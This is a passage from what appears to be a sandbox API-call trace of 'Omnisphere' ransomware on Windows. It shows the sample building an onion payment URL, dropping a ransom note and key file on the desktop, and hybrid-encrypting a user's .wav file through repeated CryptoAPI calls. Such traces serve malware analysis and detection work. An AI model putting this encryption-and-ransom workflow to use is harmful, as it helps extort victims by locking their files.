RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f240 [0164.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f240, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.520] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.520] GetProcessHeap () returned 0x1600000 [0164.520] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773e98 [0164.520] PathCombineW (in: pszDest=0x1773e98, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.520] GetProcessHeap () returned 0x1600000 [0164.520] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17557d8 [0164.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.521] WriteFile (in: hFile=0x39c, lpBuffer=0x17557d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x17557d8*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.521] CloseHandle (hObject=0x39c) returned 1 [0164.521] GetProcessHeap () returned 0x1600000 [0164.521] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1775a70 | out: hHeap=0x1600000) returned 1 [0164.521] GetProcessHeap () returned 0x1600000 [0164.521] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0164.521] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.522] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.522] CloseHandle (hObject=0x39c) returned 1 [0164.522] GetProcessHeap () returned 0x1600000 [0164.522] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0164.522] GetProcessHeap () returned 0x1600000 [0164.522] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16351a0 | out: hHeap=0x1600000) returned 1 [0164.522] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9625e8c0, ftCreationTime.dwHighDateTime=0x1d4cfa4, ftLastAccessTime.dwLowDateTime=0x77fbd1e0, ftLastAccessTime.dwHighDateTime=0x1d4cd40, ftLastWriteTime.dwLowDateTime=0x77fbd1e0, ftLastWriteTime.dwHighDateTime=0x1d4cd40, nFileSizeHigh=0x0, nFileSizeLow=0x163be, dwReserved0=0x0, dwReserved1=0xf5, cFileName="qeZRA65gNPH7U5zlEZte.wav", cAlternateFileName="QEZRA6~1.WAV")) returned 1 [0164.522] GetProcessHeap () returned 0x1600000 [0164.522] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1773a60 [0164.522] PathCombineW (in: pszDest=0x1773a60, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="qeZRA65gNPH7U5zlEZte.wav" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav") returned="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav" [0164.522] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0164.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qezra65gnph7u5zlezte.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.523] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=91070) returned 1 [0164.523] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x15e9a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.523] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.524] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] GetTickCount () returned 0x1168da1 [0164.525] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668a38) returned 1 [0164.526] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639728) returned 1 [0164.526] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.526] CryptDestroyKey (hKey=0x1639728) returned 1 [0164.526] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0164.526] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x163be, lpName=0x0) returned 0x380 [0164.526] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x163be) returned 0x14a0000 [0164.527] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16683d8) returned 1 [0164.528] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639b68) returned 1 [0164.528] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.528] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.529] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.530] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.531] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, 